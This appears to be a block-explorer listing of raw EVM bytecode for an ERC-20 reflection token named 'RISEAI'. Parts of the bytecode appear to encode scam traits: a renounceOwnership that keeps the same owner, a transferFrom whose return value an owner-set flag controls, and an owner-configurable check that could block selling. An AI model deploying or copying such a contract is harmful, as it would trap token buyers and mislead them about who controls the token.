000000815260040161264d90614815565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156126c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126bd90614715565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516127a49190614835565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612821576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612818906147f5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612891576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161288890614695565b60405180910390fd5b600081116128d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128cb906147b5565b60405180910390fd5b6128dd83611c4c565b81111561291f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612916906147d5565b60405180910390fd5b6129cc838383600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806129c65750600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612add565b505050565b6000838311158290612a19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a109190614673565b60405180910390fd5b5082840390509392505050565b6000806000612a336136df565b915091508082612a43919061494b565b9250505090565b6000612a72836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61397d565b905092915050565b612a826140ea565b612a8c8383613a91565b9050612aa1818484612a9c612a26565b613b98565b866000018760200188604001896060018a6080018b60a00186815250868152508681525086815250868152508681525050505050505092915050565b8015612ec857602560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612cf057612b41611e55565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015612baf5750612b7f611e55565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015612be85750600173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15612c7b576000600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415612c7a5742600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b82601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506018602060008201548160000155600182015481600101556002820154816002015560038201548160030155905050612ec3565b612cf8611e55565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015612d665750612d36611e55565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015612d9f5750600173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15612e43576000612dbb612db2866116d2565b600f5487611edf565b905080612dfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612df4906146b5565b60405180910390fd5b42600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b601c60206000820154816000015560018201548160010155600282015481600201556003820154816003015590505060206002015460206002018190555083601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b612ff1565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612f5c5783601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612ff05782601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b6000612ffd8383612a7a565b9050600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156130a25750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561313a5782600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130f291906149d6565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613443565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156131dd5750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15613279578060c00151600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461323191906148f5565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613442565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561331b5750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156134415782600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461336b91906149d6565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508060c00151600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546133fd91906148f5565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b8060000151600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461349291906149d6565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508060200151600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461352491906148f5565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081156136335761357f81604001518260e00151613c55565b6135928160600151826101000151613c89565b6135a58160800151826101200151613e34565b6135b88160a00151826101400151613fdf565b3073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83610120015184610100015161361d91906148f5565b60405161362a9190614835565b60405180910390a35b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360c001516040516136949190614835565b60405180910390a36136b084600161402790919063ffffffff16565b5060006136bc86611c4c565b14156136d8576136d6856001612a4a90919063ffffffff16565b505b5050505050565b6000806000600e5490506000600d54905060005b600a80549050811015613947578260036000600a848154811061371957613718614b9e565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061380757508160046000600a848154811061379f5761379e614b9e565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561381e57600e54600d5494509450505050613979565b60036000600a838154811061383657613835614b9e565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138a791906149d6565b925060046000600a83815481106138c1576138c0614b9e565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548261393291906149d6565b9150808061393f90614ac8565b9150506136f3565b50600d54600e54613958919061494b565b82101561397057600e54600d54935093505050613979565b81819350935050505b9091565b60008083600101600084815260200190815260200160002054905060008114613a855760006001826139af91906149d6565b90506000600186600001805490506139c791906149d6565b9050818114613a365760008660000182815481106139e8576139e7614b9e565b5b9060005260206000200154905080876000018481548110613a0c57613a0b614b9e565b5b90600052602060002001819055508387600101600083815260200190815260200160002081905550505b85600001805480613a4a57613a49614b6f565b5b600190038181906000526020600020016000905590558560010160008681526020019081526020016000206000905560019350505050613a8b565b60009150505b92915050565b613a996140ea565b81613aad57828160c0018181525050613b92565b606460206000015484613ac0919061497c565b613aca919061494b565b8160e0018181525050606460206001015484613ae6919061497c565b613af0919061494b565b81610100018181525050606460206002015484613b0d919061497c565b613b17919061494b565b81610120018181525050606460206003015484613b34919061497c565b613b3e919061494b565b816101400181815250508061014001518161012001518261010001518360e0015186613b6a91906149d6565b613b7491906149d6565b613b7e91906149d6565b613b8891906149d6565b8160c00181815250505b92915050565b6000806000806000808689613bad919061497c565b955087613bcd578586600080600080955095509550955095509550613c48565b868a60e00151613bdd919061497c565b9350868a6101000151613bf0919061497c565b9250868a6101200151613c03919061497c565b9150868a6101400151613c16919061497c565b90508082848689613c2791906149d6565b613c3191906149d6565b613c3b91906149d6565b613c4591906149d6565b94505b9499939850945094509450565b81600e54613c6391906149d6565b600e819055508060126000016000828254613c7e91906148f5565b925050819055505050565b8060166000016000828254613c9e91906148f5565b925050819055508060126001016000828254613cba91906148f5565b9250508190555081600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613d0c91906148f5565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613e305780600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613dec91906148f5565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b8060166001016000828254613e4991906148f5565b925050819055508060126002016000828254613e6591906148f5565b9250508190555081600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613eb791906148f5565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613fdb5780600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613f9791906148f5565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b8060126003016000828254613ff491906148f5565b9250508190555080600d5461400991906149d6565b600d8190555081600e5461401d91906149d6565b600e819055505050565b600061404f836000018373ffffffffffffffffffffffffffffffffffffffff1660001b614057565b905092915050565b600061406383836140c7565b6140bc5782600001829080600181540180825580915050600190039060005260206000200160009091909190915055826000018054905083600101600084815260200190815260200160002081905550600190506140c1565b600090505b92915050565b600080836001016000848152602001908152602001600020541415905092915050565b60405180610160016040528060008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081525090565b60008135905061415381614f28565b92915050565b60008135905061416881614f3f565b92915050565b60008135905061417d81614f56565b92915050565b60006020828403121561419957614198614bcd565b5b60006141a784828501614144565b91505092915050565b600080604083850312156141c7576141c6614bcd565b5b60006141d585828601614144565b92505060206141e685828601614144565b9150509250929050565b60008060006060848603121561420957614208614bcd565b5b600061421786828701614144565b935050602061422886828701614144565b92505060406142398682870161416e565b9150509250925092565b6000806040838503121561425a57614259614bcd565b5b600061426885828601614144565b92505060206142798582860161416e565b9150509250929050565b60006020828403121561429957614298614bcd565b5b60006142a784828501614159565b91505092915050565b6000602082840312156142c6576142c5614bcd565b5b60006142d48482850161416e565b91505092915050565b600080604083850312156142f4576142f3614bcd565b5b60006143028582860161416e565b925050602061431385828601614159565b9150509250929050565b60008060006060848603121561433657614335614bcd565b5b60006143448682870161416e565b93505060206143558682870161416e565b925050604061436686828701614144565b9150509250925092565b6000806000806080858703121561438a57614389614bcd565b5b60006143988782880161416e565b94505060206143a98782880161416e565b93505060406143ba8782880161416e565b92505060606143cb8782880161416e565b91505092959194509250565b6143e081614a0a565b82525050565b6143ef81614a1c565b82525050565b6143fe81614a5f565b82525050565b600061440f826148d9565b61441981856148e4565b9350614429818560208601614a95565b61443281614bd2565b840191505092915050565b600061444a6023836148e4565b915061445582614be3565b604082019050919050565b600061446d6005836148e4565b915061447882614c32565b602082019050919050565b6000614490602a836148e4565b915061449b82614c5b565b604082019050919050565b60006144b36026836148e4565b91506144be82614caa565b604082019050919050565b60006144d66022836148e4565b91506144e182614cf9565b604082019050919050565b60006144f9601b836148e4565b915061450482614d48565b602082019050919050565b600061451c6017836148e4565b915061452782614d71565b602082019050919050565b600061453f601f836148e4565b915061454a82614d9a565b602082019050919050565b60006145626020836148e4565b915061456d82614dc3565b602082019050919050565b60006145856029836148e4565b915061459082614dec565b604082019050919050565b60006145a86030836148e4565b91506145b382614e3b565b604082019050919050565b60006145cb6025836148e4565b91506145d682614e8a565b604082019050919050565b60006145ee6024836148e4565b91506145f982614ed9565b604082019050919050565b61460d81614a48565b82525050565b61461c81614a52565b82525050565b600060208201905061463760008301846143d7565b92915050565b600060208201905061465260008301846143e6565b92915050565b600060208201905061466d60008301846143f5565b92915050565b6000602082019050818103600083015261468d8184614404565b905092915050565b600060208201905081810360008301526146ae8161443d565b9050919050565b600060208201905081810360008301526146ce81614460565b9050919050565b600060208201905081810360008301526146ee81614483565b9050919050565b6000602082019050818103600083015261470e816144a6565b9050919050565b6000602082019050818103600083015261472e816144c9565b9050919050565b6000602082019050818103600083015261474e816144ec565b9050919050565b6000602082019050818103600083015261476e8161450f565b9050919050565b6000602082019050818103600083015261478e81614532565b9050919050565b600060208201905081810360008301526147ae81614555565b9050919050565b600060208201905081810360008301526147ce81614578565b9050919050565b600060208201905081810360008301526147ee8161459b565b9050919050565b6000602082019050818103600083015261480e816145be565b9050919050565b6000602082019050818103600083015261482e816145e1565b9050919050565b600060208201905061484a6000830184614604565b92915050565b60006040820190506148656000830185614604565b6148726020830184614604565b9392505050565b600060808201905061488e6000830187614604565b61489b6020830186614604565b6148a86040830185614604565b6148b56060830184614604565b95945050505050565b60006020820190506148d36000830184614613565b92915050565b600081519050919050565b600082825260208201905092915050565b600061490082614a48565b915061490b83614a48565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156149405761493f614b11565b5b828201905092915050565b600061495682614a48565b915061496183614a48565b92508261497157614970614b40565b5b828204905092915050565b600061498782614a48565b915061499283614a48565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156149cb576149ca614b11565b5b828202905092915050565b60006149e182614a48565b91506149ec83614a48565b9250828210156149ff576149fe614b11565b5b828203905092915050565b6000614a1582614a28565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000614a6a82614a71565b9050919050565b6000614a7c82614a83565b9050919050565b6000614a8e82614a28565b9050919050565b60005b83811015614ab3578082015181840152602081019050614a98565b83811115614ac2576000848401525b50505050565b6000614ad382614a48565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415614b0657614b05614b11565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f6572726f72000000000000000000000000000000000000000000000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f4163636f756e7420697320616c7265616479206578636c756465640000000000600082015250565b7f4163636f756e74206973206e6f74206578636c75646564000000000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20737570706c7900600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f596f752061726520747279696e6720746f207472616e73666572206d6f72652060008201527f7468616e20796f752062616c616e636500000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b614f3181614a0a565b8114614f3c57600080fd5b50565b614f4881614a1c565b8114614f5357600080fd5b50565b614f5f81614a48565b8114614f6a57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212201ddd017a6f199fbd9bd06261822544fb461782122f76b7ef4301518b3ea81f1464736f6c63430008070033

Deployed Bytecode

0x60806040526004361061028c5760003560e01c806370a082311161015a578063a8be9a58116100c1578063e7e645191161007a578063e7e6451914610a35578063ea2f0b3714610a72578063ecbde40c14610a9b578063f2fde38b14610ad8578063f77fb6b914610b01578063f921400514610b2a57610293565b8063a8be9a58146108ff578063a9059cbb1461093c578063bc0ad5a314610979578063c49b9a80146109a4578063cc5006b3146109cd578063dd62ed3e146109f857610293565b80638da5cb5b116101135780638da5cb5b146107d657806395d89b41146108015780639b26c9231461082c5780639ba5e4d514610857578063a39801c614610885578063a457c2d7146108c257610293565b806370a08231146106bd578063713898cd146106fa57806373cafdc214610728578063786564c41461075657806379fdd8321461077f5780638b7afe2e146107aa57610293565b80633685d419116101fe5780634549b039116101b75780634549b0391461059b5780634a74bb02146105d857806351ecfeae1461060357806352390c021461062c57806352892884146106555780635342acb41461068057610293565b80633685d4191461048f578063370f0a60146104b857806339509351146104e15780633ccfd60b1461051e5780634359a87114610535578063437823ec1461057257610293565b806323b872dd1161025057806323b872dd1461036d578063275d53ce146103aa5780632d838119146103d3578063313ce5671461041057806331b72ff01461043b57806334ef80bc1461046657610293565b806306fdde0314610298578063095ea7b3146102c357806316a9de141461030057806318160ddd1461032b57806320365d5f1461035657610293565b3661029357005b600080fd5b3480156102a457600080fd5b506102ad610b55565b6040516102ba9190614673565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190614243565b610b92565b6040516102f7919061463d565b60405180910390f35b34801561030c57600080fd5b50610315610bb0565b6040516103229190614622565b60405180910390f35b34801561033757600080fd5b50610340610bd6565b60405161034d9190614835565b60405180910390f35b34801561036257600080fd5b5061036b610be0565b005b34801561037957600080fd5b50610394600480360381019061038f91906141f0565b610d58565b6040516103a1919061463d565b60405180910390f35b3480156103b657600080fd5b506103d160048036038101906103cc9190614283565b610e3f565b005b3480156103df57600080fd5b506103fa60048036038101906103f591906142b0565b610ed8565b6040516104079190614835565b60405180910390f35b34801561041c57600080fd5b50610425610f3f565b60405161043291906148be565b60405180910390f35b34801561044757600080fd5b50610450610f48565b60405161045d9190614835565b60405180910390f35b34801561047257600080fd5b5061048d600480360381019061048891906142b0565b610f4e565b005b34801561049b57600080fd5b506104b660048036038101906104b19190614183565b610fd4565b005b3480156104c457600080fd5b506104df60048036038101906104da9190614183565b61130a565b005b3480156104ed57600080fd5b5061050860048036038101906105039190614243565b61155b565b604051610515919061463d565b60405180910390f35b34801561052a57600080fd5b50610533611607565b005b34801561054157600080fd5b5061055c60048036038101906105579190614183565b6116d2565b6040516105699190614835565b60405180910390f35b34801561057e57600080fd5b5061059960048036038101906105949190614183565b61171b565b005b3480156105a757600080fd5b506105c260048036038101906105bd91906142dd565b6117f2565b6040516105cf9190614835565b60405180910390f35b3480156105e457600080fd5b506105ed611878565b6040516105fa919061463d565b60405180910390f35b34801561060f57600080fd5b5061062a60048036038101906106259190614370565b61188b565b005b34801561063857600080fd5b50610653600480360381019061064e9190614183565b611935565b005b34801561066157600080fd5b5061066a611bd0565b6040516106779190614622565b60405180910390f35b34801561068c57600080fd5b506106a760048036038101906106a29190614183565b611bf6565b6040516106b4919061463d565b60405180910390f35b3480156106c957600080fd5b506106e460048036038101906106df9190614183565b611c4c565b6040516106f19190614835565b60405180910390f35b34801561070657600080fd5b5061070f611d37565b60405161071f9493929190614879565b60405180910390f35b34801561073457600080fd5b5061073d611d55565b60405161074d9493929190614879565b60405180910390f35b34801561076257600080fd5b5061077d60048036038101906107789190614370565b611d73565b005b34801561078b57600080fd5b50610794611e1d565b6040516107a19190614658565b60405180910390f35b3480156107b657600080fd5b506107bf611e43565b6040516107cd929190614850565b60405180910390f35b3480156107e257600080fd5b506107eb611e55565b6040516107f89190614622565b60405180910390f35b34801561080d57600080fd5b50610816611e7e565b6040516108239190614673565b60405180910390f35b34801561083857600080fd5b50610841611ebb565b60405161084e9190614835565b60405180910390f35b34801561086357600080fd5b5061086c611ec1565b60405161087c9493929190614879565b60405180910390f35b34801561089157600080fd5b506108ac60048036038101906108a7919061431d565b611edf565b6040516108b9919061463d565b60405180910390f35b3480156108ce57600080fd5b506108e960048036038101906108e49190614243565b611f9d565b6040516108f6919061463d565b60405180910390f35b34801561090b57600080fd5b5061092660048036038101906109219190614183565b61206a565b6040516109339190614835565b60405180910390f35b34801561094857600080fd5b50610963600480360381019061095e9190614243565b612082565b604051610970919061463d565b60405180910390f35b34801561098557600080fd5b5061098e6120ae565b60405161099b919061463d565b60405180910390f35b3480156109b057600080fd5b506109cb60048036038101906109c69190614283565b6120c1565b005b3480156109d957600080fd5b506109e2612191565b6040516109ef9190614622565b60405180910390f35b348015610a0457600080fd5b50610a1f6004803603810190610a1a91906141b0565b6121b7565b604051610a2c9190614835565b60405180910390f35b348015610a4157600080fd5b50610a5c6004803603810190610a579190614183565b61223e565b604051610a699190614835565b60405180910390f35b348015610a7e57600080fd5b50610a996004803603810190610a949190614183565b612287565b005b348015610aa757600080fd5b50610ac26004803603810190610abd9190614183565b61235e565b604051610acf9190614835565b60405180910390f35b348015610ae457600080fd5b50610aff6004803603810190610afa9190614183565b612376565b005b348015610b0d57600080fd5b50610b286004803603810190610b239190614283565b61251f565b005b348015610b3657600080fd5b50610b3f6125b8565b604051610b4c9190614622565b60405180910390f35b60606040518060400160405280600681526020017f5249534541490000000000000000000000000000000000000000000000000000815250905090565b6000610ba6610b9f6125de565b84846125e6565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600d54905090565b610be86125de565b73ffffffffffffffffffffffffffffffffffffffff16610c06611e55565b73ffffffffffffffffffffffffffffffffffffffff1614610c5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5390614795565b60405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000610d658484846127b1565b610e2684610d716125de565b610e2185604051806060016040528060288152602001614f6e60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610dd76125de565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129d19092919063ffffffff16565b6125e6565b602560169054906101000a900460ff1690509392505050565b610e476125de565b73ffffffffffffffffffffffffffffffffffffffff16610e65611e55565b73ffffffffffffffffffffffffffffffffffffffff1614610ebb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb290614795565b60405180910390fd5b80602560166101000a81548160ff02191690831515021790555050565b6000600e54821115610f1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f16906146d5565b60405180910390fd5b6000610f29612a26565b90508083610f37919061494b565b915050919050565b60006009905090565b60105481565b610f566125de565b73ffffffffffffffffffffffffffffffffffffffff16610f74611e55565b73ffffffffffffffffffffffffffffffffffffffff1614610fca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc190614795565b60405180910390fd5b8060108190555050565b610fdc6125de565b73ffffffffffffffffffffffffffffffffffffffff16610ffa611e55565b73ffffffffffffffffffffffffffffffffffffffff1614611050576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104790614795565b60405180910390fd5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166110dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d390614755565b60405180910390fd5b60005b600a80549050811015611306578173ffffffffffffffffffffffffffffffffffffffff16600a828154811061111757611116614b9e565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156112f357600a6001600a8054905061117291906149d6565b8154811061118357611182614b9e565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a82815481106111c2576111c1614b9e565b5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600a8054806112b9576112b8614b6f565b5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690559055611306565b80806112fe90614ac8565b9150506110df565b5050565b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166114eb576001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561148757611443600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ed8565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600a819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611557816001612a4a90919063ffffffff16565b5050565b60006115fd6115686125de565b8484600560006115766125de565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f891906148f5565b6125e6565b6001905092915050565b61160f6125de565b73ffffffffffffffffffffffffffffffffffffffff1661162d611e55565b73ffffffffffffffffffffffffffffffffffffffff1614611683576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167a90614795565b60405180910390fd5b60004790503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156116ce573d6000803e3d6000fd5b5050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6117236125de565b73ffffffffffffffffffffffffffffffffffffffff16611741611e55565b73ffffffffffffffffffffffffffffffffffffffff1614611797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178e90614795565b60405180910390fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905